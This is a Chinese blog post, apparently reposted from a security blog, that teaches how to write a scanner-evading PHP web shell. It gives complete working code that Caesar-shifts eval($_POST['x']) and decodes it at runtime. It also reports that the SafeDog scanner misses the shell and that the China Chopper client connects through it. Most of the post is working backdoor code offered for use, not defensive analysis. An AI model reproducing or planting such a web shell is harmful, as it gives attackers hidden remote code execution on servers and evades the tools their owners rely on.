资源分享

PHP免杀shell的编写,附免杀shell

字号+ 作者:sec_tony 来源:转载 2016-11-24 20:48 我要评论( )

00x1 先上图: 0x2 编写过程 这里必须强调一下我内心的感觉,小阔爱前两天也研究了过狗的一句话了,然后我突然觉得大家都在进步,我研究点啥呢?不如也试试以前因......

00x1 先上图:
0x2 编写过程
这里必须强调一下我内心的感觉,小阔爱前两天也研究了过狗的一句话了,然后我突然觉得大家都在进步,我研究点啥呢?不如也试试以前因为觉得自己不懂代码,而不会研究的免杀shell吧。
很多人都在说过狗的方法,大致总结一下就是:函数封包,函数回调等。
我这里用到的一个方法就是编码,当然不是普通的base64编码了,是自己写了一个凯撒密码解密的函数,将eval($_POST['x']);转码为凯撒密文$arr="j{fq-)dUTXY}b.@"; ,存放到$str变量中。
然后写函数解码:

[AppleScript] 纯文本查看 复制代码
?
1
2
3
4
5
function tony($arr){
                for($i=0;$i< strlen($arr);$i++){
                        $arr[$i]=chr(ord($arr[$i])-5);
                }
        }













   
我的凯撒密码采用按ascii码进行向ascii增大的方向移动5位得到的密文,所以向ascii减小的方向移动5位来解码。
然后再用eval执行以下tony函数解密的$arr即可。
完整代码:
[PHP] 纯文本查看 复制代码
?
1
2
3
4
5
6
7
8
9
<?php
        $arr="j{fq-)dUTXY`}b.@";
        function tony($arr){
                for($i=0;$i< strlen($arr);$i++){
                        $arr[$i]=chr(ord($arr[$i])-5);
                }
        }
        eval(tony($arr));
        ?>












[color=rgb(153, 153, 153) !important]PHP
如图:

执行成功,我们用安全狗扫描一下:

OK,安全狗没有扫描到。
那么我们来用菜刀链接一下:

又出了情况,旧版菜刀链接被防火墙拦截,我问了下接地气,这个原因出在菜刀提交的数据被防火墙拦截了,让我去测试一下菜刀2016版的,测试结果:

可以连接上。
0x3 代码优化
功能和免杀都已经达到了,但是代码还不够简介,还可以再优化一下。
1.函数可以去掉 只保留for循环
2.用凯撒编码 只编码$_POST[x]---encode--->)dUTXY}b,去掉eval()因为后面要用eval来执行,相当于重复了。

报错了,先输出一下$arr看看是否正常。

这里正常没问题,那就是eval没有把代码执行?
再加一个eval 发现还是不行!

将凯撒密文改成之前的eval($_POST[x]);的密文

执行却可以了。
测试是否免杀:

依然免杀
功能测试:

可以链接,最终代码:
[PHP] 纯文本查看 复制代码
?
1
2
3
4
5
6
7
<?php
        $arr="j{fq-)dUTXY`}b.@";
        for($i=0;$i< strlen($arr);$i++){
                $arr[$i]=chr(ord($arr[$i])-5);
        }
        eval($arr);
        ?>

本文来自: 蜗蜗侠's Blog-关注网络安全 http://blog.icxun.cn/Share/238.html

1.本站遵循行业规范,任何转载的稿件都会明确标注作者和来源;2.本站的原创文章,请转载时务必注明文章作者和来源,不尊重原创的行为我们将追究责任;3.作者投稿可能会经我们编辑修改或补充。

相关文章
  • php过狗一句话

    php过狗一句话

    2016-11-27 15:55

  • 利用php进行命令注入攻击演练

    利用php进行命令注入攻击演练

    2016-11-25 09:26

网友点评
暂时未开启评论功能~